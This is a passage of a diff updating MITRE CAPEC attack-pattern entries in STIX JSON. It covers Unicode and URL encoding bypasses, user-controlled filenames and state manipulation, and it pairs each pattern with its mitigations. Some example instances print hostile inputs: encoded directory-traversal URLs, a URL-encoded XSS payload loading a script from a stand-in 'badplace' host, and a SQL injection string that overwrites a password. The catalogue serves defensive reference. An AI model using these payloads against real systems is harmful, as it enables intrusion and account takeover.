"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--fcdf171c-f44d-4397-8365-c74fb76197ea", "source_ref": "course-of-action--67382257-6794-48ac-82a0-f33260b6f0db", "relationship_type": "mitigates", "target_ref": "attack-pattern--8c7bab16-5ecd-4778-9b04-c185bceed170" }, { + "id": "relationship--3139771b-b483-4f77-b9ab-79ab1c9eafbe", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--3139771b-b483-4f77-b9ab-79ab1c9eafbe", "source_ref": "course-of-action--bb36d937-986b-43eb-aa65-3e773af8ce32", "relationship_type": "mitigates", "target_ref": "attack-pattern--8c7bab16-5ecd-4778-9b04-c185bceed170" }, { + "id": "attack-pattern--663a1a48-1d23-4dd5-869a-02d5a6b05770", "name": "Using Unicode Encoding to Bypass Validation Logic", "description": "An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -42044,7 +46785,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -42149,57 +46890,61 @@ "x_capec_example_instances": [ "\n Attack Example: Unicode Encodings in the IIS Server\n A very common technique for a Unicode attack involves traversing directories looking for interesting files. An example of this idea applied to the Web is\n http://target.server/some_directory/../../../winnt\n In this case, the attacker is attempting to traverse to a directory that is not supposed to be part of standard Web services. The trick is fairly obvious, so many Web servers and scripts prevent it. However, using alternate encoding tricks, an attacker may be able to get around badly implemented request filters.\n In October 2000, an adversary publicly revealed that Microsoft's IIS server suffered from a variation of this problem. In the case of IIS, all the attacker had to do was provide alternate encodings for the dots and/or slashes found in a classic attack. The Unicode translations are\n . yields C0 AE/ yields C0 AF\\ yields C1 9C\n Using this conversion, the previously displayed URL can be encoded as\n http://target.server/some_directory/%C0AE/%C0AE/%C0AE%C0AE/%C0AE%C0AE/winntSee also: CVE-2000-0884" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the application for user-controllable inputs: Using a browser or an automated tool, an attacker follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.

    2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Probe entry points to locate vulnerabilities: The attacker uses the entry points gathered in the \"Explore\" phase as a target list and injects various Unicode encoded payloads to determine if an entry point actually represents a vulnerability with insufficient validation logic and to characterize the extent to which the vulnerability can be exploited.

    2. Techniques
    Try to use Unicode encoding of content in Scripts in order to bypass validation routines.
    Try to use Unicode encoding of content in HTML in order to bypass validation routines.
    Try to use Unicode encoding of content in CSS in order to bypass validation routines.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--663a1a48-1d23-4dd5-869a-02d5a6b05770" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--9a5363ad-5ca7-45b1-a710-9ee89914b20d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-71-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ensure that the system is Unicode aware and can properly process Unicode data. Do not make an assumption that data will be in ASCII.", - "type": "course-of-action", - "id": "course-of-action--9a5363ad-5ca7-45b1-a710-9ee89914b20d" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--7431af74-11f2-4cf7-aa2d-aa0b07ff9256", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--7431af74-11f2-4cf7-aa2d-aa0b07ff9256", "source_ref": "course-of-action--9a5363ad-5ca7-45b1-a710-9ee89914b20d", "relationship_type": "mitigates", "target_ref": "attack-pattern--663a1a48-1d23-4dd5-869a-02d5a6b05770" }, { + "id": "course-of-action--3b44d922-39ec-42cc-ae93-00b251aa514e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-71-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ensure that filtering or input validation is applied to canonical data.", - "type": "course-of-action", - "id": "course-of-action--3b44d922-39ec-42cc-ae93-00b251aa514e" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--caeb99db-8036-444d-a785-c9ac795a3cf9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--caeb99db-8036-444d-a785-c9ac795a3cf9", "source_ref": "course-of-action--3b44d922-39ec-42cc-ae93-00b251aa514e", "relationship_type": "mitigates", "target_ref": "attack-pattern--663a1a48-1d23-4dd5-869a-02d5a6b05770" @@ -42207,17 +46952,19 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--e7db1d6f-5277-4053-bfbf-b8362fce4c68", - "source_ref": "course-of-action--6e1f571f-420f-43a6-aaf3-cc53394f7b97", + "id": "relationship--25524460-3133-4541-a10d-84d3fd8a1db3", + "source_ref": "course-of-action--523a56cb-eaa5-451a-8ba9-f85b37fad844", "relationship_type": "mitigates", "target_ref": "attack-pattern--663a1a48-1d23-4dd5-869a-02d5a6b05770" }, { + "id": "attack-pattern--d859e461-7ca6-46a6-842e-3f1750bc8415", "name": "URL Encoding", "description": "This attack targets the encoding of the URL. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc. The attacker could also subvert the meaning of the URL string request by encoding the data being sent to the server through a GET request. For instance an attacker may subvert the meaning of parameters used in a SQL request and sent through the URL string (See Example section).", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -42225,7 +46972,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -42347,62 +47094,66 @@ "x_capec_abstraction": "Detailed", "x_capec_example_instances": [ "\n Attack Example: URL Encodings in IceCast MP3 Server.\n The following type of encoded string has been known traverse directories against the IceCast MP3 server9:\n http://[targethost]:8000/somefile/%2E%2E/target.mp3\n or using\n \"/%25%25/\" instead of \"/../\".\n The control character \"..\" can be used by an attacker to escape the document root.See also: CVE-2001-0784", - "\n Cross-Site Scripting\n \n URL-Encoded attack:http://target/getdata.php?data=%3cscript%20src=%22http%3a%2f%2fwww.badplace.com%2fnasty.js%22%3e%3c%2fscript%3e\n \n HTML execution:\n [R.72.3][REF-35]\n ", + "\n Cross-Site Scripting\n \n URL-Encoded attack:http://target/getdata.php?data=%3cscript%20src=%22http%3a%2f%2fwww.badplace.com%2fnasty.js%22%3e%3c%2fscript%3e\n \n HTML execution:\n [REF-495]\n ", "\n SQL Injection\n \n Original database query in the example file - \"login.asp\":SQLQuery = \"SELECT preferences FROM logintable WHERE userid='\" & Request.QueryString(\"userid\") & \"' AND password='\" & Request.QueryString(\"password\") & \"';\"\n \n URL-encoded attack:http://target/login.asp?userid=bob%27%3b%20update%20logintable%20set%20passwd%3d%270wn3d%27%3b--%00\n \n Executed database query:SELECT preferences FROM logintable WHERE userid='bob'; update logintable set password='0wn3d';\n From \"URL encoded attacks\", by Gunter Ollmann - http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The attacker accesses the server using a specific URL.

Experiment

  1. The attacker tries to encode some special characters in the URL. The attacker finds out that some characters are not filtered properly.

Exploit

  1. The attacker crafts a malicious URL string request and sends it to the server.

  2. The server decodes and interprets the URL string. Unfortunately since the input filtering is not done properly, the special characters may have harmful consequences.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--d859e461-7ca6-46a6-842e-3f1750bc8415" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--000e54be-d542-4ff3-9e55-2b5ce4b1023d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--000e54be-d542-4ff3-9e55-2b5ce4b1023d", "source_ref": "course-of-action--1f048925-3094-483c-abf2-c5efe689193a", "relationship_type": "mitigates", "target_ref": "attack-pattern--d859e461-7ca6-46a6-842e-3f1750bc8415" }, { + "id": "relationship--1e04db14-a140-40e0-aafe-1ec097c9a4d2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--1e04db14-a140-40e0-aafe-1ec097c9a4d2", "source_ref": "course-of-action--1890182c-6989-4e34-bfb2-92b223bcae0c", "relationship_type": "mitigates", "target_ref": "attack-pattern--d859e461-7ca6-46a6-842e-3f1750bc8415" }, { + "id": "relationship--a27b504b-7f3c-47fb-ad70-9a9042fe74bd", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--a27b504b-7f3c-47fb-ad70-9a9042fe74bd", "source_ref": "course-of-action--24852297-758a-489f-b2c9-a27cbfbb938e", "relationship_type": "mitigates", "target_ref": "attack-pattern--d859e461-7ca6-46a6-842e-3f1750bc8415" }, { + "id": "relationship--fece2ddc-b7fd-4f9e-a015-51a13642ef80", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--fece2ddc-b7fd-4f9e-a015-51a13642ef80", "source_ref": "course-of-action--3833d761-4a54-4ed3-994b-c7c76c465ae0", "relationship_type": "mitigates", "target_ref": "attack-pattern--d859e461-7ca6-46a6-842e-3f1750bc8415" @@ -42410,55 +47161,60 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--d7afd23e-681f-4a39-8201-6db6118b7466", - "source_ref": "course-of-action--c78bca10-c532-42ea-a5b0-cf7e8d7b5979", + "id": "relationship--506ec38c-6161-4411-b56b-cf20c5960c3c", + "source_ref": "course-of-action--001320df-5e57-4ed3-bcf8-7e79dfe846aa", "relationship_type": "mitigates", "target_ref": "attack-pattern--d859e461-7ca6-46a6-842e-3f1750bc8415" }, { + "id": "course-of-action--11783efd-94f2-4741-93c8-e33b1de782b8", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-72-5", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Be aware of the threat of alternative method of data encoding and obfuscation technique such as IP address encoding. (See related guideline section)", - "type": "course-of-action", - "id": "course-of-action--11783efd-94f2-4741-93c8-e33b1de782b8" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--2e586d60-d396-45aa-bfa2-afbd31a70dbb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--2e586d60-d396-45aa-bfa2-afbd31a70dbb", "source_ref": "course-of-action--11783efd-94f2-4741-93c8-e33b1de782b8", "relationship_type": "mitigates", "target_ref": "attack-pattern--d859e461-7ca6-46a6-842e-3f1750bc8415" }, { + "id": "relationship--32ed5b33-4ffc-4a9a-b6bf-f389799a677b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--32ed5b33-4ffc-4a9a-b6bf-f389799a677b", "source_ref": "course-of-action--95ef6587-c787-4051-b664-b5e8ca753c20", "relationship_type": "mitigates", "target_ref": "attack-pattern--d859e461-7ca6-46a6-842e-3f1750bc8415" }, { + "id": "attack-pattern--f156c3d0-eeb3-4e12-b075-8995c009de55", "name": "User-Controlled Filename", "description": "An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -42554,76 +47310,81 @@ "Phishing attacks rely on a user clicking on links on that are supplied to them by attackers masquerading as a trusted resource such as a bank or online auction site. The end user's email client hosts the supplied resource name in this case via email. The resource name, however may either 1) direct the client browser to a malicious site to steal credentials and/or 2) execute code on the client machine to probe the victim's host system and network environment." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--f156c3d0-eeb3-4e12-b075-8995c009de55" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--5a1e9288-e1cd-4661-bafa-f7a7f61e4a8c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-05-01T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--5a1e9288-e1cd-4661-bafa-f7a7f61e4a8c", "source_ref": "course-of-action--094a4c09-e49c-422b-b8ec-b51c19dba18c", "relationship_type": "mitigates", "target_ref": "attack-pattern--f156c3d0-eeb3-4e12-b075-8995c009de55" }, { + "id": "relationship--d5da4f75-8c61-4081-b026-75f19ec8f8a1", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-05-01T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--d5da4f75-8c61-4081-b026-75f19ec8f8a1", "source_ref": "course-of-action--e9836d98-9116-4902-ba62-2c4fcc7e03c3", "relationship_type": "mitigates", "target_ref": "attack-pattern--f156c3d0-eeb3-4e12-b075-8995c009de55" }, { + "id": "relationship--15e190ea-a35c-4658-b69e-402f5cec7ad9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-05-01T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--15e190ea-a35c-4658-b69e-402f5cec7ad9", "source_ref": "course-of-action--8a996efc-52e0-4aaf-953a-21c3fe64c64b", "relationship_type": "mitigates", "target_ref": "attack-pattern--f156c3d0-eeb3-4e12-b075-8995c009de55" }, { + "id": "relationship--bdccd87f-be5a-4567-acac-ded05ba22454", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-05-01T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--bdccd87f-be5a-4567-acac-ded05ba22454", "source_ref": "course-of-action--4f20a4a7-cb6a-477b-a12a-13c5e9d03353", "relationship_type": "mitigates", "target_ref": "attack-pattern--f156c3d0-eeb3-4e12-b075-8995c009de55" }, { + "id": "relationship--060fd8e7-cc86-47f8-b257-2e90a6935da9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-05-01T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--060fd8e7-cc86-47f8-b257-2e90a6935da9", "source_ref": "course-of-action--f31f11cb-6403-4667-bf43-d77242ac7ae2", "relationship_type": "mitigates", "target_ref": "attack-pattern--f156c3d0-eeb3-4e12-b075-8995c009de55" }, { + "id": "course-of-action--36312b31-f41b-4f9e-8a90-8f9bdabbaeec", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-05-01T00:00:00.000Z", @@ -42632,31 +47393,33 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Scan dynamically generated content against validation specification", - "type": "course-of-action", - "id": "course-of-action--36312b31-f41b-4f9e-8a90-8f9bdabbaeec" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--fbbc43fd-aa0e-44e4-98a4-ff409bf08afb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-05-01T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--fbbc43fd-aa0e-44e4-98a4-ff409bf08afb", "source_ref": "course-of-action--36312b31-f41b-4f9e-8a90-8f9bdabbaeec", "relationship_type": "mitigates", "target_ref": "attack-pattern--f156c3d0-eeb3-4e12-b075-8995c009de55" }, { - "name": "Manipulating User State", - "description": "The adversary modifies state information maintained by the target software in user-accessible locations. If successful, the target software will use this tainted state information and execute in an unintended manner. State management is an important function within an application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.", + "id": "attack-pattern--649abc91-f615-4c9e-91c9-9e66131e2d78", + "name": "Manipulating State", + "description": "\n The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.\n State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.\n If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.\n ", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -42687,12 +47450,28 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/693.html", "external_id": "CWE-693" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1245.html", + "external_id": "CWE-1245" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1265.html", + "external_id": "CWE-1265" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1271.html", + "external_id": "CWE-1271" } ], "x_capec_likelihood_of_attack": "Medium", "x_capec_typical_severity": "High", "x_capec_prerequisites": [ - "User state is maintained at least in some way in user-controllable locations, such as cookies or URL parameters." + "User state is maintained at least in some way in user-controllable locations, such as cookies or URL parameters.", + "There is a faulty finite state machine in the hardware logic that can be exploited." ], "x_capec_skills_required": { "Medium": "The adversary needs to have knowledge of state management as employed by the target application, and also the ability to manipulate the state in a meaningful way." @@ -42712,93 +47491,130 @@ ], "Integrity": [ "Modify Data" + ], + "Availability": [ + "Unreliable Execution" ] }, "x_capec_abstraction": "Meta", "x_capec_example_instances": [ "\n During the authentication process, an application stores the authentication decision (auth=0/1) in unencrypted cookies. At every request, this cookie is checked to permit or deny a request.\n An adversary can easily violate this representation of user state and set auth=1 at every request in order to gain illegitimate access and elevated privilege in the application.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Adversary determines the nature of state management employed by the target. This includes determining the location (client-side, server-side or both applications) and possibly the items stored as part of user state.

Experiment

  1. The adversary now tries to modify the user state contents (possibly blindly if the contents are encrypted or otherwise obfuscated) or cause a state transition and observe the effects of this change on the target.

Exploit

  1. Having determined how to manipulate the state, the adversary can perform illegitimate actions.

", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--649abc91-f615-4c9e-91c9-9e66131e2d78" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--426e0345-2074-48c8-9a3d-b7f7550e3712", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-74-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Do not rely solely on user-controllable locations, such as cookies or URL parameters, to maintain user state.", - "type": "course-of-action", - "id": "course-of-action--426e0345-2074-48c8-9a3d-b7f7550e3712" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--002041eb-05e7-4cd3-ba28-e881bb148370", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--002041eb-05e7-4cd3-ba28-e881bb148370", "source_ref": "course-of-action--426e0345-2074-48c8-9a3d-b7f7550e3712", "relationship_type": "mitigates", "target_ref": "attack-pattern--649abc91-f615-4c9e-91c9-9e66131e2d78" }, { + "id": "course-of-action--ea5c5ff6-e6bb-4b4a-8c73-9aa87a9f9974", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-74-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Avoid sensitive information, such as usernames or authentication and authorization information, in user-controllable locations.", - "type": "course-of-action", - "id": "course-of-action--ea5c5ff6-e6bb-4b4a-8c73-9aa87a9f9974" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--d901ded9-6bd3-4d45-b338-71715e666e92", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--d901ded9-6bd3-4d45-b338-71715e666e92", "source_ref": "course-of-action--ea5c5ff6-e6bb-4b4a-8c73-9aa87a9f9974", "relationship_type": "mitigates", "target_ref": "attack-pattern--649abc91-f615-4c9e-91c9-9e66131e2d78" }, { + "id": "course-of-action--3d2a63b7-8651-46d9-9b31-187b55061c36", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-74-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Sensitive information that is part of the user state must be appropriately protected to ensure confidentiality and integrity at each request.", - "type": "course-of-action", - "id": "course-of-action--3d2a63b7-8651-46d9-9b31-187b55061c36" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--2eab1469-094c-46e2-b78f-9a9d3108e08b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--2eab1469-094c-46e2-b78f-9a9d3108e08b", "source_ref": "course-of-action--3d2a63b7-8651-46d9-9b31-187b55061c36", "relationship_type": "mitigates", "target_ref": "attack-pattern--649abc91-f615-4c9e-91c9-9e66131e2d78" }, { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-74-3", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "description": "All possible states must be handled by hardware finite state machines.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--638372f7-a792-4269-acd6-cfb761391fd6" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--0bde6497-61aa-43b6-b9ed-7a55f500f332", + "source_ref": "course-of-action--638372f7-a792-4269-acd6-cfb761391fd6", + "relationship_type": "mitigates", + "target_ref": 